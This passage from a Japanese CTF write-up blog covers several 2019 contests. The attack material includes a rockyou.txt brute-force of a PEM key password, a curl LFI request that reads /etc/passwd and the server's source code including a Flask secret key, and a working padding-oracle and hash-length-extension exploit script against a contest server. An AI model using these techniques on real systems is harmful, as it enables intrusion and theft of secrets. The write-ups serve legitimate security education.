0OAMyvjZ8MaFDLJzuzDY3RWHP0IHWiHoCBNxPJWySon/tLXoizSbsj8EKtgA0MpE
vORC4QdnKg7bqplAAXfSIRli9Hb7RcuMpKv5buW3/Oh/th8NWWM9LOQOBAO0svlR
pJhA5hZSKEgEJMd1E77mjv29gHMEzRgXvAsTOZXhgbbtPnIkQGPXZq4hXyhy0VBt
9cCevKYLgVFahIARjejN+KErNiSN0f76mc62wunum+J6uGtk/HYZ00ZsFcf/0x7B
O/8hrFsliAg+2izNLVWy/+b1oCkuaMIEZ0zXjse3iZirSmWs6F5tFGh2w5lnJB1G
hJAqTjhHdvPWpwiyTw4nCG7+FDd3v1Ih+v8Qq9evlkYg1rdwh13ymGcfko3y7p2l
SuQsJ94i5NEv4acgIE70fqXrwzbSlc+QB5RtKexMj0NxWCySe9seLQP9fbCxp6Ci
a8mHS/4hF7hBbH984QJxy7aqt+U/xLQrKkkp2Lf0KYfthmiS13e7ZEtNSzd3dxZv
eVnDNSzEh/ty/+yt5bx58AlmhNigkaPX+KrTYt1KgQBrgYyk/YNEWK8GE0Sq/4KL
uEiIa0mpbn9je7szIA9egwjIqLWasBoG1HOb5dOu/azhVoM8mheEik/FQLHhgZlo
ZoFY8Rb3jO3Mv/sod1tQE6IteAkBsfXGT8QNaJHMAjmf96aNA8y0bStpHm1ZzpzW
qX3xcr6bDAt4olonDZ1DNTZh4AnSCnKM8LM6kwwY0r8q13EHJ2Ek6L0Vh+BiIeNw
7Q/jQ1thXzrYv9e5KU5TmvZAvtXoqcUCmI2ehnOq6xmir07g4tPQIHyolbY8EHw1
r/mb3me1+8lPdvjKSCM/LqI04h3GPkfnXWwPwlBL4sd5mnKRunLHcnLDu2AVRE+R
r8DvGGIMNr+LZjxZIdjhMraR6VSSTXX028Lamz40ZY9gn3vQWeIJAi0S7g/TW+TJ
RwXGW5gmLfbzlkzgvXPRPfjk9EeBtcS4Pj7q2QIrrAdZZFCC4z5uRGmMHC/tv2/p
IYpV2kClKcnNuPvQSreJXB18GJo1VJU/o78/Hi/cr1atiERM38gP1FYk08vcwjwT
Av62VWaTXsuAsOzS/fjmSsyAlv0LN8pNJ6j3uvk+bOrbKS4V7aM0oHDhLtlJThN5
dagcklxP1VgRAXQPdGUz1oEZzoKezPxq2mJCj8QAPZFkat5mRzbUum0aAr3Yn7Vq
KLGrILx8p4sToqfiKMnayU/QCpgifgJbMun9pSvdOC40b8xUIeuN0PlIkLueA4Mu
o4pbU2inYbC+vEB3c1fHaki+Z0+jUuHyIWtEBJOD6VNYx1LU3HY6T7eV8t/8oJxi
LZCxhon+/R9kEgJO0ofp0362pFm5i1V1afzjFMAhFK4khFNdZJ6rJLrymg1ueCsx
sxSv8x8EA/ZykDJs4M/E5eSiZI9ZmrCsIrUXZ7QGjguqHXnHi7wsO3RSa2c8Bl+t
+SYlmqK5U55yHZ23rJIS/XNIaMB+mX0CHnx/+rohABcueD7Hz7Q0OHP34NuPwK3x
NAx6x4Yfrw2SiYd0Nj15N8oexI+u6/tahCL2obap9S1Y7zibfNgJs4d2yi3F3A+w
Fe+whD+k+txSfs6w50MFgI4JG2Hu6dLtdQC5FSyOAYDJ
-----END ENCRYPTED PRIVATE KEY-----"""

これに置き換えるだけでは、復号できず、pemのパスワードが間違っているというエラーが出る。先ほどの履歴の「removed the production key, luckily it was encrypted with a password …」の下に「…from some file that reminds me of the song 'here i am something like a hurricane'」と書いてあるので、インターネット上を調べる。すると、Rock Youというキーワードが引っかかる。そこでrockyou.txtでpemパスワードのブルートフォースで、復号を試す。

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization, hashes
import base64
import unittest

PEM_PRIVATE_KEY = '''-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIFLTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQIF+TK17Q9CAsCAggA
MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBCebicNIgfA441g2E3t3z/oBIIE
0OAMyvjZ8MaFDLJzuzDY3RWHP0IHWiHoCBNxPJWySon/tLXoizSbsj8EKtgA0MpE
vORC4QdnKg7bqplAAXfSIRli9Hb7RcuMpKv5buW3/Oh/th8NWWM9LOQOBAO0svlR
pJhA5hZSKEgEJMd1E77mjv29gHMEzRgXvAsTOZXhgbbtPnIkQGPXZq4hXyhy0VBt
9cCevKYLgVFahIARjejN+KErNiSN0f76mc62wunum+J6uGtk/HYZ00ZsFcf/0x7B
O/8hrFsliAg+2izNLVWy/+b1oCkuaMIEZ0zXjse3iZirSmWs6F5tFGh2w5lnJB1G
hJAqTjhHdvPWpwiyTw4nCG7+FDd3v1Ih+v8Qq9evlkYg1rdwh13ymGcfko3y7p2l
SuQsJ94i5NEv4acgIE70fqXrwzbSlc+QB5RtKexMj0NxWCySe9seLQP9fbCxp6Ci
a8mHS/4hF7hBbH984QJxy7aqt+U/xLQrKkkp2Lf0KYfthmiS13e7ZEtNSzd3dxZv
eVnDNSzEh/ty/+yt5bx58AlmhNigkaPX+KrTYt1KgQBrgYyk/YNEWK8GE0Sq/4KL
uEiIa0mpbn9je7szIA9egwjIqLWasBoG1HOb5dOu/azhVoM8mheEik/FQLHhgZlo
ZoFY8Rb3jO3Mv/sod1tQE6IteAkBsfXGT8QNaJHMAjmf96aNA8y0bStpHm1ZzpzW
qX3xcr6bDAt4olonDZ1DNTZh4AnSCnKM8LM6kwwY0r8q13EHJ2Ek6L0Vh+BiIeNw
7Q/jQ1thXzrYv9e5KU5TmvZAvtXoqcUCmI2ehnOq6xmir07g4tPQIHyolbY8EHw1
r/mb3me1+8lPdvjKSCM/LqI04h3GPkfnXWwPwlBL4sd5mnKRunLHcnLDu2AVRE+R
r8DvGGIMNr+LZjxZIdjhMraR6VSSTXX028Lamz40ZY9gn3vQWeIJAi0S7g/TW+TJ
RwXGW5gmLfbzlkzgvXPRPfjk9EeBtcS4Pj7q2QIrrAdZZFCC4z5uRGmMHC/tv2/p
IYpV2kClKcnNuPvQSreJXB18GJo1VJU/o78/Hi/cr1atiERM38gP1FYk08vcwjwT
Av62VWaTXsuAsOzS/fjmSsyAlv0LN8pNJ6j3uvk+bOrbKS4V7aM0oHDhLtlJThN5
dagcklxP1VgRAXQPdGUz1oEZzoKezPxq2mJCj8QAPZFkat5mRzbUum0aAr3Yn7Vq
KLGrILx8p4sToqfiKMnayU/QCpgifgJbMun9pSvdOC40b8xUIeuN0PlIkLueA4Mu
o4pbU2inYbC+vEB3c1fHaki+Z0+jUuHyIWtEBJOD6VNYx1LU3HY6T7eV8t/8oJxi
LZCxhon+/R9kEgJO0ofp0362pFm5i1V1afzjFMAhFK4khFNdZJ6rJLrymg1ueCsx
sxSv8x8EA/ZykDJs4M/E5eSiZI9ZmrCsIrUXZ7QGjguqHXnHi7wsO3RSa2c8Bl+t
+SYlmqK5U55yHZ23rJIS/XNIaMB+mX0CHnx/+rohABcueD7Hz7Q0OHP34NuPwK3x
NAx6x4Yfrw2SiYd0Nj15N8oexI+u6/tahCL2obap9S1Y7zibfNgJs4d2yi3F3A+w
Fe+whD+k+txSfs6w50MFgI4JG2Hu6dLtdQC5FSyOAYDJ
-----END ENCRYPTED PRIVATE KEY-----'''

ENCRYPTED_MESSAGE=('rW+fOddzrtdP7ufLj9KTQa9W8T9JhEj7a2AITFA4a2UbeEAtV/ocxB/t4ikLCMsThUXXWz+UFnyXz'
        'gLgD9RM+2toOvWRiJPBM2ASjobT+bLLi31F2M3jPfqYK1L9NCSMcmpVGs+OZZhzJmTbfHLdUcDzDwdZcjKcGbwE'
        'GlL6Z7+CbHD7RvoJk7Ft3wvFZ7PWIUHPneVAsAglOalJQCyWKtkksy9oUdDfCL9yvLDV4H4HoXGfQwUbLJL4Qx4'
        'hXHh3fHDoplTqYdkhi/5E4l6HO0Qh/jmkNLuwUyhcZVnFMet1vK07ePAuu7kkMe6iZ8FNtmluFlLnrlQXrE74Z2vHbQ==')

DEFAULT_PADDING=padding.OAEP(
    mgf=padding.MGF1(algorithm=hashes.SHA256()),
    algorithm=hashes.SHA256(),
    label=None
)

def decryption(pem_password):
    try:
        private_key = serialization.load_pem_private_key(
            PEM_PRIVATE_KEY,
            password=pem_password,
            backend=default_backend()
        )
        plaintext = private_key.decrypt(
            base64.b64decode(ENCRYPTED_MESSAGE.encode('utf-8')),
            DEFAULT_PADDING
        )
        print 'PEM PASSWORD =', pem_password
        print plaintext
        return True
    except:
        return False

if __name__ == '__main__':
    with open('dict/rockyou.txt', 'r') as f:
        words = f.read()
    words = words.split('\n')
    for word in words:
        if decryption(word):
            break

実行結果は以下の通り。

PEM PASSWORD = falloutboy
Bank url: http://bankofsweden-01.pwn.beer

問題文に書かれている通り、ポートを5000にしてアクセスする。

http://bankofsweden-01.pwn.beer:5000

アカウントを作成するが、Activateできない。is_activateのhidden属性が空になっているので、trueにしてpostすると、ログインできるようになる。ただ、ここからはしばらく考えたがわからず、チームメンバに助けてもらった。
ログインしたページの中にexport機能があり、それを実行すると、以下のエラーが出る。

Could not open file 4341114.csv, reason [Errno 2] No such file or directory: '4341114.csv'

LFI系の脆弱性がありそう。

$ curl 'http://bankofsweden-01.pwn.beer:5000/dashboard/dataportability/export' -H 'Cookie: session=.eJwdzjsOwjAMANC7ZO7gT2I7vUzlOI5gbemEuDuICzy9dznWmdej7K_zzq0cz1n24k5NOcVWZQWkZE0I75Mas-BcwYQ1qsaQHNmNJjcFbsLaJWgt5GwdmJyGAphH2phO9aeQt4lYnUVwcTQbHYMZWQCoL1ezspX7yvOfIcPPFzf6Lb4.XOaMCw.AZW0GSK1GSOy-spMUyw4_ZrAYqU' --data 'account=/etc/passwd'

これで/etc/passwdの内容が見れた。同様に他のファイルを見ていく。

### /proc/self/environ ###
PYTHONUNBUFFERED=1
LANG=C.UTF-8
HOSTNAME=78135dc621a9
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
PWD=/home/bos/ctf
HOME=/home/bos
PYTHON_VERSION=3.7.3
SHLVL=1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PYTHON_PIP_VERSION=19.1.1
_=/home/bos/.local/bin/gunicorn

### /proc/self/cmdline ###
/usr/local/bin/python/home/bos/.local/bin/gunicorn--bind0.0.0.0:5000-w4app:app

環境変数からカレントディレクトリが /home/bos/ctf で、実行されているプロセスが /usr/local/bin/python/home/bos/.local/bin/gunicorn --bind 0.0.0.0:5000 -w4 app:app なので、/home/bos/ctf/app.py というファイルがあると推測できる。

### /home/bos/ctf/app.py ###
#!/usr/bin/python
import sys
import os
​
from urllib.request import urlopen
from model import init_database, Account, Transactions, db
from flask import request, render_template, Flask, flash, redirect, url_for
​
import flask_login
​
init_database()
​
app = Flask(__name__)
​
app.secret_key = "VRvzHowHabQYHTD3@YG+.kWeKM@UY_Q}"
​
login_manager = flask_login.LoginManager()
login_manager.init_app(app)
​
​
login_manager.login_view = "/login"
​
@login_manager.user_loader
def load_user(user_email):
  return Account.get_or_none(Account.id == user_email)
​
@app.route("/")
def index():
  return render_template("index.html")
​
@app.route("/login", methods=['GET', 'POST'])
def login():
  message = ""
  if request.method == "POST":
    username = request.form.get("username")
    password = request.form.get("password")
​
    try:
      account = Account.get(Account.email == username)
​
      if account.password == password:
        if account.active == 1:
          flask_login.login_user(account)
          return redirect(url_for('index'))
        message = "Account is not active...."
      else:
        message = "Passwords did not match..."
​
    except Exception as e:
      message = "Mainframe could not locate you..."
​
​
  return render_template("login.html", message=message)
​
@app.route("/register", methods=['GET', 'POST'])
def register():
  if request.method == "POST":
    firstname = request.form.get("firstname")
    lastname = request.form.get("lastname")
    profession = request.form.get("profession")
    purpose = request.form.get("purpose")
    email = request.form.get("email")
    password = request.form.get("password")
    active = request.form.get("is_active")
    country = request.form.get("country")
​
    with db.atomic():
      pk = Account.insert(firstname=firstname,lastname=lastname,
                profession=profession,purpose=purpose,
                email=email,password=password,active=active,country=country).execute()
​
      if pk:
        flash('You were successfully registered')
        return redirect(url_for('login'))
      else:
        flash('Something went wrong registrating your account')
​
  return render_template("register.html")
​
@app.route("/logout")
@flask_login.login_required
def logout():
  flask_login.logout_user()
  return redirect(url_for("index"))
​
@app.route("/dashboard")
@flask_login.login_required
def dashboard():
  return render_template("dashboard.html")
​
@app.route("/dashboard/dataportability/import", methods=['GET', 'POST'])
@flask_login.login_required
def dataportability_import():
  flag = ""
  error = ""
  if request.method == "POST":
    url = f'{request.form.get("url").replace("127.0.0.1", "")}/flag'
​
    if "localhost" in url:
      error = "Detected a possible hack. Using localhost is forbidden."
    elif url == "http://127.0.0.1/flag":
      flag = "SECFEST{h4ck3r5_60nn4_h4ck_4nd_b4nk3r5_60nn4_cr4ck}"
    else:
      try:
        u = urlopen(url, timeout=2)
        error = "This does not look like a banking site?"
      except Exception as e:
        error = f"Could not contact {url}, Reason: {e}"
​
​
  return render_template("import.html", flag=flag, error=error)
​
​
@app.route("/dashboard/dataportability/export", methods=['GET', 'POST'])
@flask_login.login_required
def dataportability_export():
  content = ""
  error = ""
  if request.method == "POST":
    account = request.form.get("account")
    try:
      with open(account, 'r', encoding='latin-1') as file:
        content = file.read()
    except Exception as e:
      error = f"Could not open file {account}, reason {e}"
  return render_template("export.html", file_content=content, error=error)
​
@app.route("/dashboard/transactions/<int:user_id>", methods=['GET', 'POST'])
@flask_login.login_required
def view_transactions(user_id):
  error = ""
  message = ""
  if request.method == "POST":
    to_account = request.form.get("toaccount")
    amount = int(request.form.get("amount"))
    to_user = Account.get_or_none(Account.account_number == to_account)
    if to_user:
      acc = flask_login.current_user
      if amount <= acc.balance:
        current_amount = acc.balance - amount
        acc.balance=current_amount
        acc.save()
        to_user.balance += amount
        to_user.save()
        Transactions.insert(from_acc=acc.id, to_acc=to_user.id, amount=amount).execute()
        message = f"You successfully sent {amount} SEK to account number \"{to_account}\"!"
      else:
        error = "You are trying send more money than what you own..."
    else:
      error = "That account number does not exist..."
​
    trans = Transactions.select().join(Account, on=(Account.id == user_id)).where((Transactions.from_acc == user_id) | (Transactions.to_acc == user_id)).order_by(Transactions.created.desc())
  else:
    trans = Transactions.select().join(Account, on=(Account.id == user_id)).where((Transactions.from_acc == user_id) | (Transactions.to_acc == user_id)).order_by(Transactions.created.desc())
​
  return render_template("transactions.html", transactions=trans, error=error, message=message)
​
if __name__ == "__main__":
  if os.environ.get("FLASK_DEBUG"):
    app.run(debug=True)
  else:
    app.run()

よく見ると、このソースコード中にフラグが書いてあった。

flag = "SECFEST{h4ck3r5_60nn4_h4ck_4nd_b4nk3r5_60nn4_cr4ck}"
h4ck3r5_60nn4_h4ck_4nd_b4nk3r5_60nn4_cr4ck

RCTF 2019 Writeup

この大会は2019/5/18 10:00(JST)~2019/5/20 10:00(JST)に開催されました。
今回もチームで参戦。結果は1111点で405チーム中46位でした。
自分で解けた問題をWriteupとして書いておきます。

welcome (Misc)

Telegramに入ったら、メッセージにフラグが書いてあった。

RCTF{Welcome_To_RCTF2019}

baby_crypto (Crypto)

サーバ処理は以下のようになっている。

key: ランダム16バイト
iv : ランダム16バイト
salt: key

username: a-zで5文字以上10文字以下で指定
password: a-zで5文字以上10文字以下で指定

cookie: admin:0;username:[username];password:[password]
hv : salt + cookie のsha1
hv_hex : salt + cookie のsha1(hex)

cookie_padded: cookieのpadding

iv + cookie_padded暗号 + hvのhexを表示

cookie入力
復号後、以下の処理
・salt + cookieのsha1が一致しているかをチェック
・;区切りで各値を取り、adminの値が1の場合、フラグを表示

cookieのデータの末尾に";admin:1"が入っているデータでハッシュがわかるものをHash Length Extension Attackからハッシュと、対応するデータを求める。その際saltはkeyなので、長さは16バイトと分かっている。さらにそのデータに対する暗号文をCBC Oracle Padding Attackで生成する。

import socket
import hashpumpy
import binascii

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

def pad(s):
    l = 16 - len(s) % 16
    return s + chr(l) * l

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('45.76.208.70', 20000))

data = recvuntil(s, ':\n').rstrip()
print data
username = 'admin'
print username
s.sendall(username + '\n')

data = recvuntil(s, ':\n').rstrip()
print data
password = 'admin'
print password
s.sendall(password + '\n')

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
mac = data[-40:]

base_str = 'admin:0;username:' + username + ';password:' + password
h, d = hashpumpy.hashpump(mac, base_str, ';admin:1', 16)
pad_d = pad(d)
plain_blocks = [pad_d[i:i+16] for i in range(0, len(pad_d), 16)]

c = ['\x00'*16] * 5
for i in range(4, 0, -1):
    key = ''
    for j in range(16):
        for code in range(256):
            try_iv = 'X' * (15 - len(key)) + chr(code) + str_xor(key, chr(j+1)*j)
            cookie = try_iv + c[i] + 'h' * 20
            cookie = binascii.hexlify(cookie)
            data = recvuntil(s, ':\n').rstrip()
            print data
            print cookie
            s.sendall(cookie + '\n')
            data = recvuntil(s, '\n').rstrip()
            print data
            if data not in 'Invalid padding':
                key = chr(code ^ (j+1)) + key
                break
    c[i-1] = str_xor(plain_blocks[i-1], key)

cookie = binascii.hexlify(''.join(c)) + h
data = recvuntil(s, ':\n').rstrip()
print data
print cookie
s.sendall(cookie + '\n')
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Input username:
admin
Input password:
admin
Your cookie:
5633290bdd244501f1f689a3bae19fb112b83db0334df13c985d0bba608e6c72862632b10bbd4f2139c57e4b9830079d3f26d77ae8b9e8659e109fc5ed08d42ac06c663a4e1ad2282392ea588611eb610150cc2d
Input your cookie:
58585858585858585858585858585800000000000000000000000000000000006868686868686868686868686868686868686868
Invalid padding
        :
Input your cookie:
e965ebc63e74c43fd695d41737eaaf6a8d5f4d8e991c614853cfd3a37ebe04cb6868686868686868686868686868686868686868
Invalid padding
Input your cookie:
ea65ebc63e74c43fd695d41737eaaf6a8d5f4d8e991c614853cfd3a37ebe04cb6868686868686868686868686868686868686868
Invalid hash
Input your cookie:
9b1196bf405ee414b3f6a175499bd21f8d5f4d8e991c614853cfd3a37ebe04cb6cba5321c2052667775d12198cb964e4932b6e3035a82c1e7b587659aceacff000000000000000000000000000000000803eb104472c0600959f2aaccc645871fabbdbf8
Your flag: RCTF{f2c519ea-567b-41d1-9db8-033f058b4e3e}
RCTF{f2c519ea-567b-41d1-9db8-033f058b4e3e}

Harekaze CTF 2019 Writeup

この大会は2019/5/18 15:00(JST)~2019/5/19 15:00(JST)に開催されました。
今回もチームで参戦。結果は1960点で523チーム中5位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Misc 10)

問題にフラグが書いてあった。

HarekazeCTF{Thank_you_for_participating_in_Harekaze_CTF_2019}

ONCE UPON A TIME (Crypto 100)

処理概要は以下の通り。

・flagの長さが25の倍数になるよう%でパディング
・25バイトごとに5行5列の配列を配列にする。
・5行5列の配列ごとに以下のどちらかの処理
 ・takenoko(m2, mat):m2*mat
 ・takenoko(mat, m2):mat*m2

暗号データを25バイトずつに区切り、5×5の行列にしたものをCとする。

M1 * M2 = C
または
M2 * M1 = C

つまり元のデータM1は以下のどちらかで計算できる。

M1 = C * inverse(M2)
または
M1 = inverse(M2) * C

以上のことから逆算して復号する。

# solve.sage
def str2matrix(s):
    mat = []
    for j in range(5):
        row = []
        for i in range(5):
            row.append(ord(s[i+j*5]))
        mat.append(row)

    return mat

def matrix2str(mat):
    s = ''
    for j in range(5):
        for i in range(5):
            code = mat[j][i]
            s += chr(code)
    return s

def is_printable(mat):
    for j in range(5):
        for i in range(5):
            code = mat[j][i]
            if code < 32 or code > 126:
                return False
    return True

enc = 'ea5929e97ef77806bb43ec303f304673de19f7e68eddc347f3373ee4c0b662bc37764f74cbb8bb9219e7b5dbc59ca4a42018'
enc = enc.decode('hex')

M2 = matrix(Zmod(251), [[1,3,2,9,4], [0,2,7,8,4], [3,4,1,9,4], [6,5,3,-1,4], [1,4,5,3,5]])

flag = ''
for i in range(0, len(enc), 25):
    MAT = matrix(Zmod(251), str2matrix(enc[i:i+25]))
    inv_M2 = M2.inverse()
    M1 = MAT * inv_M2
    if is_printable(M1) == False:
        M1 = inv_M2 * MAT
    flag += matrix2str(M1)

flag = flag.rstrip('\x25')
flag = 'HarekazeCTF{%s}' % flag
print flag
HarekazeCTF{Op3n_y0ur_3y3s_1ook_up_t0_th3_ski3s_4nd_s33}

Twenty-five (Crypto 100)

ppencodeをテーマにした換字式暗号の問題。
crypto.txtの文字を換字式暗号としてうまく置換すると、実行結果がフラグになるということのようだ。perl予約語を辞書としてreserved.txtが提供されているので、参考にしながら置換していく。

length
alarm
break
semop
write
until
undef
eval
exec
join
crypt

上記に注目しながら、対応表を作ると、以下のようになる。

abcdefghijklmnopqrstuvwxy
tbwiupohdnvrsyqlkmaxfjcge

"*************************" を "tbwiupohdnvrsyqlkmaxfjcge" にして実行する。

$ perl twenty-five.pl 
HarekazeCTF{en.wikipedia.org/wiki/Frequency_analysis}
HarekazeCTF{en.wikipedia.org/wiki/Frequency_analysis}

Now We Can Play!! (Crypto 200)

Elgamal暗号になっているが、復号に違いがある。

def decrypt(c1, c2, pk, sk):
    p = pk[0]
    m = pow(3, randint(2**16, 2**17), p) * c2 * inverse(pow(c1, sk, p), p) % p
    return m

サーバ処理は上記のようになっているが、本来はこうなる。

m = c2 * inverse(pow(c1, sk, p), p) % p

そこで暗号結果のc1, c2をそのまま渡し、復号する。pow(3, randint(2**16, 2**17), p)の乗算が余計なので、ブルートフォースでinverseを計算し、フラグの形式で復号できるものを探す。

import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('problem.harekaze.com', 30002))

data = recvuntil(s, '\n').rstrip()
print data
pk = eval(data[17:-1])

data = recvuntil(s, '\n').rstrip()
print data
c1, c2 = eval(data[18:-1])

data = recvuntil(s, 'c1 : ')
print data + str(c1)
s.sendall(str(c1) + '\n')

data = recvuntil(s, 'c2 : ')
print data + str(c2)
s.sendall(str(c2) + '\n')

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
m = eval(data[29:-1])

p = pk[0]
for i in range(2**16, 2**17):
    flag = (m * inverse(pow(3, i, p), p)) % p
    flag = long_to_bytes(flag)
    if flag.startswith('HarekazeCTF{'):
        print flag
        break

実行結果は以下の通り。

('Public Key :', (179173323191454988591857397662357046816406002058222699078082170304942344337525772960365297716675606420378518281831622210294670272131150121828106451512482462351605274656707674269628181870458122317495560207260507411107279195253094119477943994404974997604864735179278176112212343855702414394782510683988125734957L, 2, 53000002593913678937986352418727205538196468549418622475874892482076157998246352050156067510851110275400992586567516093249617976637603565776167257902162567157633995357563567618158233405560793326022137088001144379716157892590298561723225360685249181865325251167875039876719827029888693088533710738116269041133L))
('Cipher text :', (13939058318848869969892661769790944708827274443633249255860130775103355992242218114621405714834592066931918925168617885762705383632767654046468600883492671085892643960651879330981339090382368737591290752693040506297361373997196171277757061478625002075739258607973780566868938423203415950325973810026943457883L, 109590941535359400665615600141181086480543183338115818774409180733164575367102887217210860850806360120300452283512297474847898172474905185925208813871580965935842023665869656822510432339398702011062707781447851941826936476730118432113609805691528978006074326578988475630910504994019834070776807197697847292319L))
('------------------------------', '\n')
Input your ciphertext c1 : 13939058318848869969892661769790944708827274443633249255860130775103355992242218114621405714834592066931918925168617885762705383632767654046468600883492671085892643960651879330981339090382368737591290752693040506297361373997196171277757061478625002075739258607973780566868938423203415950325973810026943457883

Input your ciphertext c2 : 109590941535359400665615600141181086480543183338115818774409180733164575367102887217210860850806360120300452283512297474847898172474905185925208813871580965935842023665869656822510432339398702011062707781447851941826936476730118432113609805691528978006074326578988475630910504994019834070776807197697847292319

('Your Decrypted Message :', 39268793095845740212401926030298979200819615217155164098539854509541032469801080785289352965052801469642156674128708697912306078630662670836855612851002988923070651137189060084842307753112310645041440364059957404423987700979196172608023790040770192830357799786699784325482972837364501493640072710378719464216L)
HarekazeCTF{im_caught_in_a_dr3am_and_m7_dr3ams_c0m3_tru3}
HarekazeCTF{im_caught_in_a_dr3am_and_m7_dr3ams_c0m3_tru3}

DEF CON CTF Qualifier 2019 Writeup

この大会は2019/5/11 9:00(JST)~2019/5/13 9:00(JST)に開催されました。
今回もチームで参戦。結果は727点で1262チーム中62位でした。
ReversingとCryptoの融合問題をずっとやっていたけど、
解析が間違っていたのか、復号できず。
今回もメインの問題は1問も解けず、残念!
Welcome問題ですが、自分で解けた問題をWriteupとして書いておきます。

welcome_to_the_game (WELCOMING)

$ cat flag
OOO{Game on!}
OOO{Game on!}

INS'hAck 2019 Writeup

この大会は2019/5/3 2:00(JST)~2019/5/6 1:30(JST)に開催されました。
今回もチームで参戦。結果は2841点で765チーム中7位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity (Misc 1)

問題にフラグが書いてあった。

INSA{Welcome}

Telegram (Misc 50)

Telegramのリンク先にアクセスすると、フラグが書かれている。
f:id:satou-y:20190509071807p:plain

INSA{is_e2e_8annEd_1n_Russi4_too}

Dashlame - Part 1 (Reverse 50)

Easy Python Decompilerでpycをデコンパイルする。

# Embedded file name: dashlame.py
from Crypto.Cipher import AES
import os
import random
import sys
import sqlite3
import time
import zlib
HEADER = "      /.m.\\\n     /.mnnm.\\                                              ___\n    |.mmnvvnm.\\.                                     .,,,/`mmm.\\\n    |.mmnnvvnm.\\:;,.                           ..,,;;;/.mmnnnmm.\\\n    \\ mmnnnvvnm.\\::;;,                    .,;;;;;;;;/.mmmnnvvnnm.|\n     \\`mmnnnvvnm.\\::;::.sSSs      sSSs ,;;;;;;;;;;/.mmmnnvvvnnmm'/\n       \\`mmnnnvnm.\\:::::SSSS,,,,,,SSSS:::::::;;;/.mmmnnvvvnnmmm'/\n          \\`mnvvnm.\\::%%%;;;;;;;;;;;%%%%:::::;/.mnnvvvvnnmmmmm'/\n             \\`mmmm.%%;;;;;%%%%%%%%%%%%%%%::/.mnnvvvnnmmmmm'/ '\n                \\`%%;;;;%%%%s&&&&&&&&&s%%%%mmmnnnmmmmmm'/ '\n     |           `%;;;%%%%s&&.%%%%%%.%&&%mmmmmmmmmm'/ '\n\\    |    /       %;;%%%%&&.%;`    '%.&&%%%////// '\n  \\  |  /         %%%%%%s&.%%   x   %.&&%%%%%//%\n    \\  .:::::.  ,;%%%%s&&&&.%;     ;.&&%%%%%%%%/,\n-!!!- ::#:::::%%%%%%s&&&&&&&&&&&&&&&&&%%%%%%%%%%%\n    / :##:::::&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%,\n  /  | `:#:::&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%\n     |       `&&&&&&&&&,&&&&&&&&&&&&SS%%%%%%%%%%%%%\n               `~~~~~'~~        SSSSSSS%%%%%%%%%%%%%\n                               SSSSSSSS%%%%%%%%%%%%%%\n                              SSSSSSSSSS%%%%%%%%%%%%%.\n                            SSSSSSSSSSSS%%%%%%%%%%%%%%\n                          SSSSSSSSSSSSS%%%%%%%%%%%%%%%.\n                        SSSSSSSSSSSSSSS%%%%%%%%%%%%%%%%\n                      SSSSSSSSSSSSSSSS%%%%%%%%%%%%%%%%%.\n                    SSSSSSSSSSSSSSSSS%%%%%%%%%%%%%%%%%%%\n                  SSSSSSSSSSSSSSSSSS%%%%%%%%%%%%%%%%%%%%.\n\n                          WELCOME TO DASHLAME\n"
PEARSON_TABLE = [199,
 229,
 151,
 178,
 53,
 6,
 131,
 42,
 248,
 110,
 39,
 28,
 51,
 216,
 32,
 14,
 77,
 34,
 166,
 213,
 157,
 150,
 115,
 197,
 228,
 221,
 254,
 172,
 84,
 27,
 36,
 156,
 69,
 96,
 12,
 220,
 225,
 137,
 246,
 141,
 44,
 208,
 191,
 109,
 163,
 21,
 173,
 250,
 98,
 227,
 203,
 162,
 188,
 3,
 105,
 171,
 215,
 15,
 207,
 218,
 234,
 56,
 136,
 235,
 97,
 79,
 189,
 102,
 134,
 11,
 224,
 117,
 177,
 222,
 100,
 129,
 78,
 18,
 130,
 187,
 9,
 184,
 99,
 108,
 202,
 13,
 238,
 17,
 94,
 70,
 180,
 144,
 185,
 168,
 123,
 71,
 176,
 91,
 4,
 153,
 103,
 242,
 80,
 127,
 198,
 82,
 169,
 148,
 48,
 120,
 59,
 55,
 230,
 209,
 50,
 73,
 31,
 49,
 142,
 149,
 167,
 249,
 116,
 1,
 7,
 86,
 143,
 101,
 29,
 52,
 114,
 154,
 160,
 128,
 19,
 170,
 46,
 214,
 38,
 67,
 186,
 252,
 181,
 145,
 212,
 183,
 22,
 231,
 107,
 43,
 47,
 122,
 251,
 217,
 5,
 62,
 88,
 244,
 200,
 93,
 240,
 219,
 124,
 58,
 161,
 89,
 211,
 158,
 247,
 60,
 236,
 65,
 106,
 113,
 66,
 81,
 165,
 194,
 223,
 40,
 233,
 126,
 139,
 72,
 132,
 61,
 135,
 57,
 87,
 182,
 164,
 35,
 159,
 118,
 8,
 83,
 210,
 243,
 104,
 76,
 75,
 119,
 90,
 138,
 20,
 206,
 95,
 16,
 74,
 33,
 245,
 237,
 111,
 64,
 253,
 125,
 23,
 232,
 193,
 37,
 175,
 92,
 30,
 241,
 255,
 133,
 0,
 140,
 2,
 155,
 85,
 10,
 146,
 179,
 25,
 26,
 226,
 201,
 195,
 121,
 190,
 63,
 68,
 152,
 45,
 147,
 41,
 204,
 192,
 205,
 196,
 54,
 174,
 239,
 112,
 24]

def pad(s):
